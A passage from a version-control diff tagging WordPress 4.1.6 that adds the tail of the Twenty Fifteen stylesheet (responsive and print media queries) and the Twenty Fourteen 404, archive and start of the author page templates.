+		margin-top: 2.1818em;
+		margin-bottom: 1.0909em;
+	}
+
+	.entry-content h4,
+	.entry-summary h4,
+	.page-content h4,
+	.comment-content h4 {
+		font-size: 18px;
+		font-size: 1.8rem;
+		line-height: 1.3333;
+		margin-top: 2.6667em;
+		margin-bottom: 1.3333em;
+	}
+
+	.entry-content h5,
+	.entry-content h6,
+	.entry-summary h5,
+	.entry-summary h6,
+	.page-content h5,
+	.page-content h6,
+	.comment-content h5,
+	.comment-content h6 {
+		font-size: 15px;
+		font-size: 1.5rem;
+		line-height: 1.2;
+		margin-top: 3.2em;
+		margin-bottom: 1.6em;
+	}
+
+	.entry-content .more-link:after,
+	.entry-summary .more-link:after {
+		font-size: 16px;
+		top: 5px;
+	}
+
+	.author-info {
+		margin: 0 10%;
+		padding: 10% 0;
+	}
+
+	.author-info .avatar {
+		height: 36px;
+		margin: 0 1.5em 1.5em 0;
+		width: 36px;
+	}
+
+	.author-link:after {
+		font-size: 16px;
+		top: 1px;
+	}
+
+	.entry-footer {
+		padding: 5% 10%;
+	}
+
+	.posted-on:before,
+	.byline:before,
+	.cat-links:before,
+	.tags-links:before,
+	.comments-link:before,
+	.entry-format:before,
+	.edit-link:before,
+	.full-size-link:before {
+		top: 0;
+	}
+
+	.page-header {
+		padding: 4.1666% 8.3333%;
+	}
+
+	.page-content {
+		padding: 8.3333%;
+	}
+
+	.taxonomy-description {
+		padding-top: 0.4em;
+	}
+
+	.page-title,
+	.comments-title,
+	.comment-reply-title,
+	.post-navigation .post-title {
+		font-size: 18px;
+		font-size: 1.8rem;
+		line-height: 1.3333;
+	}
+
+	.page-links {
+		margin-bottom: 1.3333em;
+	}
+
+	.page-links a,
+	.page-links > span {
+		margin: 0 0.3333em 0.3333em 0;
+	}
+
+	.entry-attachment {
+		margin-bottom: 1.6em;
+	}
+
+	.format-aside .entry-title,
+	.format-image .entry-title,
+	.format-video .entry-title,
+	.format-quote .entry-title,
+	.format-gallery .entry-title,
+	.format-status .entry-title,
+	.format-link .entry-title,
+	.format-audio .entry-title,
+	.format-chat .entry-title {
+		font-size: 18px;
+		font-size: 1.8rem;
+		line-height: 1.3333;
+		margin-bottom: 1.3333em;
+	}
+
+	.format-link .entry-title a:after {
+		top: 0;
+	}
+
+	.comments-area {
+		margin: 8.3333% 8.3333% 0;
+		padding: 8.3333%;
+	}
+
+	.comments-title {
+		margin-bottom: 1.3333em;
+	}
+
+	.comment-list article,
+	.comment-list .pingback,
+	.comment-list .trackback {
+		padding: 1.6em 0;
+	}
+
+	.comment-list + .comment-respond,
+	.comment-navigation + .comment-respond {
+		padding-top: 1.6em;
+	}
+
+	.comment-list .children > li {
+		padding-left: 0.8em;
+	}
+
+	.comment-author {
+		margin-bottom: 0.4em;
+	}
+
+	.comment-author .avatar {
+		height: 24px;
+		margin-right: 0.8em;
+		top: 0;
+		width: 24px;
+	}
+
+	.comment-metadata .edit-link:before {
+		top: 3px;
+	}
+
+	.pingback .edit-link:before {
+		top: 5px;
+	}
+
+	.bypostauthor > article .fn:after {
+		top: 5px;
+		left: 3px;
+	}
+
+	.comment-content ul,
+	.comment-content ol {
+		margin-bottom: 2em;
+	}
+
+	.comment-list .reply a {
+		padding: 0.4167em 0.8333em;
+	}
+
+	.comment-form,
+	.no-comments {
+		padding-top: 1.6em;
+	}
+
+	.comment-reply-title small a:before {
+		top: -3px;
+	}
+
+	.site-footer {
+		float: left;
+		margin: 0 0 0 35.2941%;
+		padding: 0;
+		width: 58.8235%;
+	}
+
+	.site-info {
+		padding: 5% 10%;
+	}
+
+	embed,
+	iframe,
+	object,
+	video {
+		margin-bottom: 1.6em;
+	}
+
+	.wp-audio-shortcode,
+	.wp-video,
+	.wp-playlist.wp-audio-playlist {
+		font-size: 15px;
+		font-size: 1.5rem;
+		margin-bottom: 1.6em;
+	}
+
+	.wp-caption,
+	.gallery {
+		margin-bottom: 1.6em;
+	}
+}
+
+
+/**
+ * 15.5 Desktop Medium 1100px
+ */
+
+@media screen and (min-width: 68.75em) {
+	body,
+	button,
+	input,
+	select,
+	textarea {
+		font-size: 17px;
+		font-size: 1.7rem;
+		line-height: 1.6471;
+	}
+
+	button,
+	input {
+		line-height: normal;
+	}
+
+	p,
+	address,
+	pre,
+	hr,
+	ul,
+	ol,
+	dl,
+	dd,
+	table {
+		margin-bottom: 1.6471em;
+	}
+
+	blockquote {
+		font-size: 20px;
+		font-size: 2rem;
+		line-height: 1.75;
+		margin-bottom: 1.75em;
+		margin-left: -1.05em;
+		padding-left: 0.85em;
+	}
+
+	blockquote p {
+		margin-bottom: 1.75em;
+	}
+
+	blockquote cite,
+	blockquote small {
+		font-size: 17px;
+		font-size: 1.7rem;
+		line-height: 1.6471;
+	}
+
+	pre {
+		line-height: 1.2353;
+	}
+
+	button,
+	input[type="button"],
+	input[type="reset"],
+	input[type="submit"],
+	.post-password-form input[type="submit"] {
+		font-size: 14px;
+		font-size: 1.4rem;
+		padding: 0.8214em 1.5714em;
+	}
+
+	input[type="text"],
+	input[type="email"],
+	input[type="url"],
+	input[type="password"],
+	input[type="search"],
+	textarea {
+		padding: 0.5em;
+	}
+
+	.main-navigation {
+		font-size: 14px;
+		font-size: 1.4rem;
+	}
+
+	.main-navigation a {
+		padding: 0.4643em 0;
+	}
+
+	.main-navigation .page_item_has_children > a,
+	.main-navigation .menu-item-has-children > a {
+		padding-right: 33px;
+	}
+
+	.main-navigation .menu-item-description {
+		line-height: 1.4583;
+		margin-top: 0.25em;
+	}
+
+	.dropdown-toggle {
+		height: 28px;
+		width: 28px;
+	}
+
+	.dropdown-toggle:after {
+		line-height: 28px;
+		width: 28px;
+	}
+
+	.social-navigation ul {
+		margin-bottom: -1.4706em;
+	}
+
+	.social-navigation li {
+		width: 20%;
+	}
+
+	.social-navigation a {
+		height: 2.8824em;
+	}
+
+	.post-password-form label,
+	.post-navigation .meta-nav,
+	.comment-navigation,
+	.image-navigation,
+	.author-heading,
+	.author-bio,
+	.entry-footer,
+	.page-links a,
+	.page-links span,
+	.comment-metadata,
+	.pingback .edit-link,
+	.comment-list .reply,
+	.comment-notes,
+	.comment-awaiting-moderation,
+	.logged-in-as,
+	.comment-form label,
+	.form-allowed-tags,
+	.site-info,
+	.wp-caption-text,
+	.gallery-caption,
+	.entry-caption {
+		font-size: 14px;
+		font-size: 1.4rem;
+	}
+
+	.pagination .nav-links {
+		min-height: 3.2941em;
+	}
+
+	.pagination .page-numbers {
+		line-height: 3.2941em;
+		padding: 0 0.8235em;
+	}
+
+	.pagination .prev,
+	.pagination .next {
+		height: 56px;
+		padding: 0;
+		width: 56px;
+	}
+
+	.pagination .prev:before,
+	.pagination .next:before {
+		height: 56px;
+		line-height: 56px;
+		width: 56px;
+	}
+
+	.image-navigation .nav-previous a:before,
+	.image-navigation .nav-next a:after,
+	.comment-navigation .nav-previous a:before,
+	.comment-navigation .nav-next a:after {
+		top: 2px;
+	}
+
+	blockquote.alignleft,
+	.wp-caption.alignleft,
+	img.alignleft {
+		margin: 0.4118em 1.6471em 1.6471em 0;
+	}
+
+	blockquote.alignright,
+	.wp-caption.alignright,
+	img.alignright {
+		margin: 0.4118em 0 1.6471em 1.6471em;
+	}
+
+	blockquote.aligncenter,
+	.wp-caption.aligncenter,
+	img.aligncenter {
+		margin-top: 0.4118em;
+		margin-bottom: 1.6471em;
+	}
+
+	.wp-caption.alignleft,
+	.wp-caption.alignright,
+	.wp-caption.aligncenter {
+		margin-bottom: 1.2353em;
+	}
+
+	.site-title {
+		font-size: 24px;
+		font-size: 2.4rem;
+		line-height: 1.1667;
+	}
+
+	.site-description {
+		font-size: 14px;
+		font-size: 1.4rem;
+	}
+
+	.widget {
+		font-size: 14px;
+		font-size: 1.4rem;
+	}
+
+	.widget blockquote {
+		font-size: 14px;
+		font-size: 1.4rem;
+		padding-left: 1.2143em;
+	}
+
+	.widget button,
+	.widget input,
+	.widget select,
+	.widget textarea {
+		font-size: 14px;
+		font-size: 1.4rem;
+	}
+
+	.widget button,
+	.widget input[type="button"],
+	.widget input[type="reset"],
+	.widget input[type="submit"] {
+		font-size: 12px;
+		font-size: 1.2rem;
+		padding: 0.75em 1.5em;
+	}
+
+	.widget input[type="text"],
+	.widget input[type="email"],
+	.widget input[type="url"],
+	.widget input[type="password"],
+	.widget input[type="search"],
+	.widget textarea {
+		padding: 0.5em;
+	}
+
+	.widget .wp-caption-text,
+	.widget .gallery-caption {
+		line-height: 1.4583;
+		padding: 0.5833em 0;
+	}
+
+	.widget_calendar caption {
+		margin: 0 0 1.9286em;
+	}
+
+	.widget_calendar td,
+	.widget_calendar th {
+		line-height: 1.9286;
+	}
+
+	.widget_archive li,
+	.widget_categories li,
+	.widget_links li,
+	.widget_meta li,
+	.widget_nav_menu li,
+	.widget_pages li,
+	.widget_recent_comments li,
+	.widget_recent_entries li {
+		padding: 0.4643em 0;
+	}
+
+	.widget_categories .children,
+	.widget_nav_menu .sub-menu,
+	.widget_pages .children {
+		margin: 0.4643em 0 0 1em;
+		padding-top: 0.4643em;
+	}
+
+	.widget_rss .rss-date,
+	.widget_rss cite {
+		line-height: 1.75;
+	}
+
+	.post-thumbnail {
+		margin-bottom: 2.4706em;
+	}
+
+	.entry-title {
+		font-size: 35px;
+		font-size: 3.5rem;
+		line-height: 1.2;
+		margin-bottom: 1.2em;
+	}
+
+	.entry-content h1,
+	.entry-summary h1,
+	.page-content h1,
+	.comment-content h1 {
+		font-size: 35px;
+		font-size: 3.5rem;
+		line-height: 1.2;
+		margin-top: 1.6em;
+		margin-bottom: 0.8em;
+	}
+
+	.entry-content h2,
+	.entry-summary h2,
+	.page-content h2,
+	.comment-content h2 {
+		font-size: 29px;
+		font-size: 2.9rem;
+		line-height: 1.2069;
+		margin-top: 1.931em;
+		margin-bottom: 0.9655em;
+	}
+
+	.entry-content h3,
+	.entry-summary h3,
+	.page-content h3,
+	.comment-content h3 {
+		font-size: 24px;
+		font-size: 2.4rem;
+		line-height: 1.1667;
+		margin-top: 2.3333em;
+		margin-bottom: 1.1667em;
+	}
+
+	.entry-content h4,
+	.entry-summary h4,
+	.page-content h4,
+	.comment-content h4 {
+		font-size: 20px;
+		font-size: 2rem;
+		line-height: 1.4;
+		margin-top: 2.8em;
+		margin-bottom: 1.4em;
+	}
+
+	.entry-content h5,
+	.entry-content h6,
+	.entry-summary h5,
+	.entry-summary h6,
+	.page-content h5,
+	.page-content h6,
+	.comment-content h5,
+	.comment-content h6 {
+		font-size: 17px;
+		font-size: 1.7rem;
+		line-height: 1.2353;
+		margin-top: 3.2941em;
+		margin-bottom: 1.6471em;
+	}
+
+	.entry-content .more-link:after,
+	.entry-summary .more-link:after {
+		font-size: 24px;
+		top: 2px;
+	}
+
+	.author-info .avatar {
+		height: 42px;
+		margin: 0 1.6471em 1.6471em 0;
+		width: 42px;
+	}
+
+	.author-link:after {
+		top: 3px;
+	}
+
+	.posted-on:before,
+	.byline:before,
+	.cat-links:before,
+	.tags-links:before,
+	.comments-link:before,
+	.entry-format:before,
+	.edit-link:before,
+	.full-size-link:before {
+		top: 3px;
+	}
+
+	.taxonomy-description {
+		padding-top: 0.4118em;
+	}
+
+	.page-title,
+	.comments-title,
+	.comment-reply-title,
+	.post-navigation .post-title {
+		font-size: 24px;
+		font-size: 2.4rem;
+		line-height: 1.1667;
+	}
+
+	.page-links {
+		margin-bottom: 1.4117em;
+	}
+
+	.page-links a,
+	.page-links > span {
+		margin: 0 0.2857em 0.2857em 0;
+	}
+
+	.entry-attachment {
+		margin-bottom: 1.6471em;
+	}
+
+	.format-aside .entry-title,
+	.format-image .entry-title,
+	.format-video .entry-title,
+	.format-quote .entry-title,
+	.format-gallery .entry-title,
+	.format-status .entry-title,
+	.format-link .entry-title,
+	.format-audio .entry-title,
+	.format-chat .entry-title {
+		font-size: 20px;
+		font-size: 2rem;
+		line-height: 1.4;
+		margin-bottom: 1.4em;
+	}
+
+	.format-link .entry-title a:after {
+		top: 0.0833em;
+	}
+
+	.comments-title {
+		margin-bottom: 1.4em;
+	}
+
+	.comment-list article,
+	.comment-list .pingback,
+	.comment-list .trackback {
+		padding: 1.6471em 0;
+	}
+
+	.comment-list + .comment-respond,
+	.comment-navigation + .comment-respond {
+		padding-top: 1.6471em;
+	}
+
+	.comment-list .children > li {
+		padding-left: 1.1667em;
+	}
+
+	.comment-author {
+		margin-bottom: 0;
+	}
+
+	.comment-author .avatar {
+		height: 42px;
+		margin-right: 1.64705em;
+		top: 5px;
+		width: 42px;
+	}
+
+	.bypostauthor > article .fn:after {
+		top: 7px;
+		left: 6px;
+	}
+
+	.comment-metadata .edit-link:before {
+		top: 6px;
+	}
+
+	.pingback .edit-link:before {
+		top: 6px;
+	}
+
+	.comment-content ul,
+	.comment-content ol {
+		margin-bottom: 1.6471em;
+	}
+
+	.comment-list .reply a {
+		padding: 0.4286em 0.8571em;
+	}
+
+	.comment-form,
+	.no-comments {
+		padding-top: 1.6471em;
+	}
+
+	.comment-reply-title small a:before {
+		top: -1px;
+	}
+
+	embed,
+	iframe,
+	object,
+	video {
+		margin-bottom: 1.6471em;
+	}
+
+	.wp-audio-shortcode,
+	.wp-video,
+	.wp-playlist.wp-audio-playlist {
+		font-size: 17px;
+		font-size: 1.7rem;
+		margin-bottom: 1.6471em;
+	}
+
+	.wp-caption,
+	.gallery {
+		margin-bottom: 1.6471em;
+	}
+}
+
+
+/**
+ * 15.6 Desktop Large 1240px
+ */
+
+@media screen and (min-width: 77.5em) {
+	body,
+	button,
+	input,
+	select,
+	textarea {
+		font-size: 19px;
+		font-size: 1.9rem;
+		line-height: 1.6842;
+	}
+
+	button,
+	input {
+		line-height: normal;
+	}
+
+	p,
+	address,
+	pre,
+	hr,
+	ul,
+	ol,
+	dl,
+	dd,
+	table {
+		margin-bottom: 1.6842em;
+	}
+
+	blockquote {
+		font-size: 22px;
+		font-size: 2.2rem;
+		line-height: 1.8182;
+		margin-bottom: 1.8182em;
+		margin-left: -1.0909em;
+		padding-left: 0.9091em;
+	}
+
+	blockquote p {
+		margin-bottom: 1.8182em;
+	}
+
+	blockquote cite,
+	blockquote small {
+		font-size: 19px;
+		font-size: 1.9rem;
+		line-height: 1.6842;
+	}
+
+	pre {
+		line-height: 1.2632;
+	}
+
+	button,
+	input[type="button"],
+	input[type="reset"],
+	input[type="submit"],
+	.post-password-form input[type="submit"] {
+		font-size: 16px;
+		font-size: 1.6rem;
+		padding: 0.8125em 1.625em;
+	}
+
+	input[type="text"],
+	input[type="email"],
+	input[type="url"],
+	input[type="password"],
+	input[type="search"],
+	textarea {
+		padding: 0.5278em;
+	}
+
+	.main-navigation {
+		font-size: 16px;
+		font-size: 1.6rem;
+	}
+
+	.main-navigation a {
+		padding: 0.5em 0;
+	}
+
+	.main-navigation .page_item_has_children > a,
+	.main-navigation .menu-item-has-children > a {
+		padding-right: 32px;
+	}
+
+	.main-navigation .menu-item-description {
+		font-size: 13px;
+		font-size: 1.3rem;
+		line-height: 1.5385;
+		margin-top: 0.3077em;
+	}
+
+	.dropdown-toggle {
+		height: 32px;
+		top: 4px;
+		width: 32px;
+	}
+
+	.dropdown-toggle:after {
+		line-height: 32px;
+		width: 32px;
+	}
+
+	.social-navigation ul {
+		margin-bottom: -1.2632em;
+	}
+
+	.social-navigation a {
+		height: 2.5263em;
+	}
+
+	.post-password-form label,
+	.post-navigation .meta-nav,
+	.comment-navigation,
+	.image-navigation,
+	.author-heading,
+	.author-bio,
+	.entry-footer,
+	.page-links a,
+	.page-links span,
+	.comment-metadata,
+	.pingback .edit-link,
+	.comment-list .reply,
+	.comment-notes,
+	.comment-awaiting-moderation,
+	.logged-in-as,
+	.comment-form label,
+	.form-allowed-tags,
+	.site-info,
+	.wp-caption-text,
+	.gallery-caption,
+	.entry-caption {
+		font-size: 16px;
+		font-size: 1.6rem;
+	}
+
+	.pagination .nav-links {
+		min-height: 3.3684em;
+	}
+
+	.pagination .page-numbers {
+		line-height: 3.3684em;
+		padding: 0 0.8421em;
+	}
+
+	.pagination .prev,
+	.pagination .next {
+		height: 64px;
+		padding: 0;
+		width: 64px;
+	}
+
+	.pagination .prev:before,
+	.pagination .next:before {
+		height: 64px;
+		line-height: 64px;
+		width: 64px;
+	}
+
+	.image-navigation .nav-previous a:before,
+	.image-navigation .nav-next a:after,
+	.comment-navigation .nav-previous a:before,
+	.comment-navigation .nav-next a:after {
+		font-size: 24px;
+		top: -1px;
+	}
+
+	blockquote.alignleft,
+	.wp-caption.alignleft,
+	img.alignleft {
+		margin: 0.4211em 1.6842em 1.6842em 0;
+	}
+
+	blockquote.alignright,
+	.wp-caption.alignright,
+	img.alignright {
+		margin: 0.4211em 0 1.6842em 1.6842em;
+	}
+
+	blockquote.aligncenter,
+	.wp-caption.aligncenter,
+	img.aligncenter {
+		margin-top: 0.4211em;
+		margin-bottom: 1.6842em;
+	}
+
+	.wp-caption.alignleft,
+	.wp-caption.alignright,
+	.wp-caption.aligncenter {
+		margin-bottom: 1.2632em;
+	}
+
+	.site-title {
+		font-size: 27px;
+		font-size: 2.7rem;
+		line-height: 1.1852;
+	}
+
+	.site-description {
+		font-size: 16px;
+		font-size: 1.6rem;
+	}
+
+	.widget {
+		font-size: 16px;
+		font-size: 1.6rem;
+	}
+
+	.widget blockquote {
+		font-size: 16px;
+		font-size: 1.6rem;
+		padding-left: 1.25em;
+	}
+
+	.widget blockquote cite,
+	.widget blockquote small {
+		font-size: 13px;
+		font-size: 1.3rem;
+		line-height: 1.8462;
+	}
+
+	.widget button,
+	.widget input,
+	.widget select,
+	.widget textarea {
+		font-size: 16px;
+		font-size: 1.6rem;
+	}
+
+	.widget button,
+	.widget input[type="button"],
+	.widget input[type="reset"],
+	.widget input[type="submit"] {
+		font-size: 13px;
+		font-size: 1.3rem;
+		padding: 0.8462em 1.6923em;
+	}
+
+	.widget input[type="text"],
+	.widget input[type="email"],
+	.widget input[type="url"],
+	.widget input[type="password"],
+	.widget input[type="search"],
+	.widget textarea {
+		padding: 0.5em;
+	}
+
+	.widget .wp-caption-text,
+	.widget .gallery-caption {
+		font-size: 13px;
+		font-size: 1.3rem;
+		line-height: 1.5385;
+		padding: 0.6154em 0;
+	}
+
+	.widget_calendar td,
+	.widget_calendar th {
+		line-height: 1.9375;
+	}
+
+	.widget_calendar caption {
+		margin: 0 0 1.5em;
+	}
+
+	.widget_archive li,
+	.widget_categories li,
+	.widget_links li,
+	.widget_meta li,
+	.widget_nav_menu li,
+	.widget_pages li,
+	.widget_recent_comments li,
+	.widget_recent_entries li {
+		padding: 0.4688em 0;
+	}
+
+	.widget_categories .children,
+	.widget_nav_menu .sub-menu,
+	.widget_pages .children {
+		margin: 0.4688em 0 0 1em;
+		padding-top: 0.4688em;
+	}
+
+	.widget_rss .rss-date,
+	.widget_rss cite {
+		font-size: 13px;
+		font-size: 1.3rem;
+		line-height: 1.8462;
+	}
+
+	.post-thumbnail {
+		margin-bottom: 2.9474em;
+	}
+
+	.entry-title {
+		font-size: 39px;
+		font-size: 3.9rem;
+		line-height: 1.2308;
+		margin-bottom: 1.2308em;
+	}
+
+	.entry-content h1,
+	.entry-summary h1,
+	.page-content h1,
+	.comment-content h1 {
+		font-size: 39px;
+		font-size: 3.9rem;
+		line-height: 1.2308;
+		margin-top: 1.641em;
+		margin-bottom: 0.8205em;
+	}
+
+	.entry-content h2,
+	.entry-summary h2,
+	.page-content h2,
+	.comment-content h2 {
+		font-size: 32px;
+		font-size: 3.2rem;
+		line-height: 1.25;
+		margin-top: 2em;
+		margin-bottom: 1em;
+	}
+
+	.entry-content h3,
+	.entry-summary h3,
+	.page-content h3,
+	.comment-content h3 {
+		font-size: 27px;
+		font-size: 2.7rem;
+		line-height: 1.1852;
+		margin-top: 2.3704em;
+		margin-bottom: 1.1852em;
+	}
+
+	.entry-content h4,
+	.entry-summary h4,
+	.page-content h4,
+	.comment-content h4 {
+		font-size: 22px;
+		font-size: 2.2rem;
+		line-height: 1.4545;
+		margin-top: 2.9091em;
+		margin-bottom: 1.4545em;
+	}
+
+	.entry-content h5,
+	.entry-content h6,
+	.entry-summary h5,
+	.entry-summary h6,
+	.page-content h5,
+	.page-content h6,
+	.comment-content h5,
+	.comment-content h6 {
+		font-size: 19px;
+		font-size: 1.9rem;
+		line-height: 1.2632;
+		margin-top: 3.3684em;
+		margin-bottom: 1.6842em;
+	}
+
+	.entry-content .more-link:after,
+	.entry-summary .more-link:after {
+		top: 3px;
+	}
+
+	.author-info .avatar {
+		height: 56px;
+		margin: 0 1.6842em 1.6842em 0;
+		width: 56px;
+	}
+
+	.author-link:after {
+		font-size: 24px;
+		top: 0;
+	}
+
+	.posted-on:before,
+	.byline:before,
+	.cat-links:before,
+	.tags-links:before,
+	.comments-link:before,
+	.entry-format:before,
+	.edit-link:before,
+	.full-size-link:before {
+		top: 4px;
+	}
+
+	.taxonomy-description {
+		padding-top: 0.4211em;
+	}
+
+	.page-title,
+	.comments-title,
+	.comment-reply-title,
+	.post-navigation .post-title {
+		font-size: 27px;
+		font-size: 2.7rem;
+		line-height: 1.1852;
+	}
+
+	.page-links {
+		margin-bottom: 1.4736em;
+	}
+
+	.page-links a,
+	.page-links > span {
+		margin: 0 0.25em 0.25em 0;
+	}
+
+	.entry-attachment {
+		margin-bottom: 1.6842em;
+	}
+
+	.format-aside .entry-title,
+	.format-image .entry-title,
+	.format-video .entry-title,
+	.format-quote .entry-title,
+	.format-gallery .entry-title,
+	.format-status .entry-title,
+	.format-link .entry-title,
+	.format-audio .entry-title,
+	.format-chat .entry-title {
+		font-size: 22px;
+		font-size: 2.2rem;
+		line-height: 1.4545;
+		margin-bottom: 1.4545em;
+	}
+
+	.format-link .entry-title a:after {
+		top: 3px;
+	}
+
+	.comments-title {
+		margin-bottom: 1.4545em;
+	}
+
+	.comment-list article,
+	.comment-list .pingback,
+	.comment-list .trackback {
+		padding: 1.6842em 0;
+	}
+
+	.comment-list + .comment-respond,
+	.comment-navigation + .comment-respond {
+		padding-top: 1.6842em;
+	}
+
+	.comment-list .children > li {
+		padding-left: 1.4737em;
+	}
+
+	.comment-author .avatar {
+		height: 56px;
+		margin-right: 1.6842em;
+		top: 3px;
+		width: 56px;
+	}
+
+	.bypostauthor > article .fn:after {
+		top: 8px;
+	}
+
+	.comment-metadata .edit-link:before {
+		top: 8px;
+	}
+
+	.pingback .edit-link:before {
+		top: 8px;
+	}
+
+	.comment-content ul,
+	.comment-content ol {
+		margin-bottom: 1.6842em;
+	}
+
+	.comment-list .reply a {
+		padding: 0.4375em 0.875em;
+	}
+
+	.comment-form,
+	.no-comments {
+		padding-top: 1.6842em;
+	}
+
+	embed,
+	iframe,
+	object,
+	video {
+		margin-bottom: 1.6842em;
+	}
+
+	.wp-audio-shortcode,
+	.wp-video,
+	.wp-playlist.wp-audio-playlist {
+		font-size: 19px;
+		font-size: 1.9rem;
+		margin-bottom: 1.6842em;
+	}
+
+	.wp-caption,
+	.gallery {
+		margin-bottom: 1.6842em;
+	}
+}
+
+
+/**
+ * 15.7 Desktop X-Large 1403px
+ */
+
+@media screen and (min-width: 87.6875em) {
+	body:before {
+		width: -webkit-calc(50% - 289px);
+		width: calc(50% - 289px);
+	}
+}
+
+
+/**
+ * 16.0 Print
+ */
+
+@media print {
+	body {
+		background: none !important; /* Brute force since user agents all print differently. */
+		font-size: 11.25pt;
+	}
+
+	.secondary-toggle,
+	.navigation,
+	.page-links,
+	.edit-link,
+	#reply-title,
+	.comment-form,
+	.comment-edit-link,
+	.comment-list .reply a,
+	button,
+	input,
+	textarea,
+	select {
+		display: none;
+	}
+
+	.site-header,
+	.site-footer,
+	.hentry,
+	.entry-footer,
+	.page-header,
+	.page-content,
+	.comments-area {
+		background: none !important; /* Make sure color schemes dont't affect to print */
+	}
+
+	body,
+	blockquote,
+	blockquote cite,
+	blockquote small,
+	label,
+	a,
+	.site-title a,
+	.site-description,
+	.post-title,
+	.author-heading,
+	.entry-footer,
+	.entry-footer a,
+	.taxonomy-description,
+	.entry-caption,
+	.comment-author,
+	.comment-metadata,
+	.comment-metadata a,
+	.comment-notes,
+	.comment-awaiting-moderation,
+	.no-comments,
+	.site-info,
+	.site-info a,
+	.wp-caption-text,
+	.gallery-caption {
+		color: #000 !important; /* Make sure color schemes don't affect to print */
+	}
+
+	pre,
+	abbr[title],
+	table,
+	th,
+	td,
+	.site-header,
+	.site-footer,
+	.hentry + .hentry,
+	.author-info,
+	.page-header,
+	.comments-area,
+	.comment-list + .comment-respond,
+	.comment-list article,
+	.comment-list .pingback,
+	.comment-list .trackback,
+	.no-comments {
+		border-color: #eaeaea !important; /* Make sure color schemes don't affect to print */
+	}
+
+	.site {
+		margin: 0 7.6923%;
+	}
+
+	.site-branding {
+		padding: 0;
+	}
+
+	.site-header {
+		padding: 7.6923% 0;
+	}
+
+	.site-description {
+		display: block;
+	}
+
+	.hentry + .hentry {
+		margin-top: 7.6923%;
+	}
+
+	.hentry.has-post-thumbnail {
+		padding-top: 7.6923%;
+	}
+
+	.sticky-post {
+		background: #000 !important;
+		color: #fff !important;
+	}
+
+	.entry-header,
+	.entry-footer {
+		padding: 0;
+	}
+
+	.entry-content,
+	.entry-summary {
+		padding: 0 0 7.6923%;
+	}
+
+	.post-thumbnail img {
+		margin: 0;
+	}
+
+	.author-info {
+		margin: 0;
+	}
+
+	.page-content {
+		padding: 7.6923% 0 0;
+	}
+
+	.page-header {
+		padding: 3.84615% 0;
+	}
+
+	.comments-area {
+		border: 0;
+		padding: 7.6923% 0 0;
+	}
+
+	.site-footer {
+		margin-top: 7.6923%;
+		padding: 3.84615% 0;
+	}
+}
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/404.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/404.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/404.php	(revision 33402)
@@ -0,0 +1,32 @@
+<?php
+/**
+ * The template for displaying 404 pages (Not Found)
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+
+get_header(); ?>
+
+
+	<div id="primary" class="content-area">
+		<div id="content" class="site-content" role="main">
+
+			<header class="page-header">
+				<h1 class="page-title"><?php _e( 'Not Found', 'twentyfourteen' ); ?></h1>
+			</header>
+
+			<div class="page-content">
+				<p><?php _e( 'It looks like nothing was found at this location. Maybe try a search?', 'twentyfourteen' ); ?></p>
+
+				<?php get_search_form(); ?>
+			</div><!-- .page-content -->
+
+		</div><!-- #content -->
+	</div><!-- #primary -->
+
+<?php
+get_sidebar( 'content' );
+get_sidebar();
+get_footer();
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/archive.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/archive.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/archive.php	(revision 33402)
@@ -0,0 +1,74 @@
+<?php
+/**
+ * The template for displaying Archive pages
+ *
+ * Used to display archive-type pages if nothing more specific matches a query.
+ * For example, puts together date-based pages if no date.php file exists.
+ *
+ * If you'd like to further customize these archive views, you may create a
+ * new template file for each specific one. For example, Twenty Fourteen
+ * already has tag.php for Tag archives, category.php for Category archives,
+ * and author.php for Author archives.
+ *
+ * @link http://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+
+get_header(); ?>
+
+	<section id="primary" class="content-area">
+		<div id="content" class="site-content" role="main">
+
+			<?php if ( have_posts() ) : ?>
+
+			<header class="page-header">
+				<h1 class="page-title">
+					<?php
+						if ( is_day() ) :
+							printf( __( 'Daily Archives: %s', 'twentyfourteen' ), get_the_date() );
+
+						elseif ( is_month() ) :
+							printf( __( 'Monthly Archives: %s', 'twentyfourteen' ), get_the_date( _x( 'F Y', 'monthly archives date format', 'twentyfourteen' ) ) );
+
+						elseif ( is_year() ) :
+							printf( __( 'Yearly Archives: %s', 'twentyfourteen' ), get_the_date( _x( 'Y', 'yearly archives date format', 'twentyfourteen' ) ) );
+
+						else :
+							_e( 'Archives', 'twentyfourteen' );
+
+						endif;
+					?>
+				</h1>
+			</header><!-- .page-header -->
+
+			<?php
+					// Start the Loop.
+					while ( have_posts() ) : the_post();
+
+						/*
+						 * Include the post format-specific template for the content. If you want to
+						 * use this in a child theme, then include a file called called content-___.php
+						 * (where ___ is the post format) and that will be used instead.
+						 */
+						get_template_part( 'content', get_post_format() );
+
+					endwhile;
+					// Previous/next page navigation.
+					twentyfourteen_paging_nav();
+
+				else :
+					// If no content, include the "No posts found" template.
+					get_template_part( 'content', 'none' );
+
+				endif;
+			?>
+		</div><!-- #content -->
+	</section><!-- #primary -->
+
+<?php
+get_sidebar( 'content' );
+get_sidebar();
+get_footer();
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/author.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/author.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/author.php	(revision 33402)
@@ -0,0 +1,74 @@
+<?php
+/**
+ * The template for displaying Author archive pages
+ *
+ * @link http://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+
+get_header(); ?>
+
+	<section id="primary" class="content-area">
+		<div id="content" class="site-content" role="main">
+
+			<?php if ( have_posts() ) : ?>
+
+			<header class="archive-header">
+				<h1 class="archive-title">
+					<?php
+						/*
+						 * Queue the first post, that way we know what author
+						 * we're dealing with (if that is the case).
+						 *
+						 * We reset this later so we can run the loop properly
+						 * with a call to rewind_posts().
+						 */
+						the_post();
+
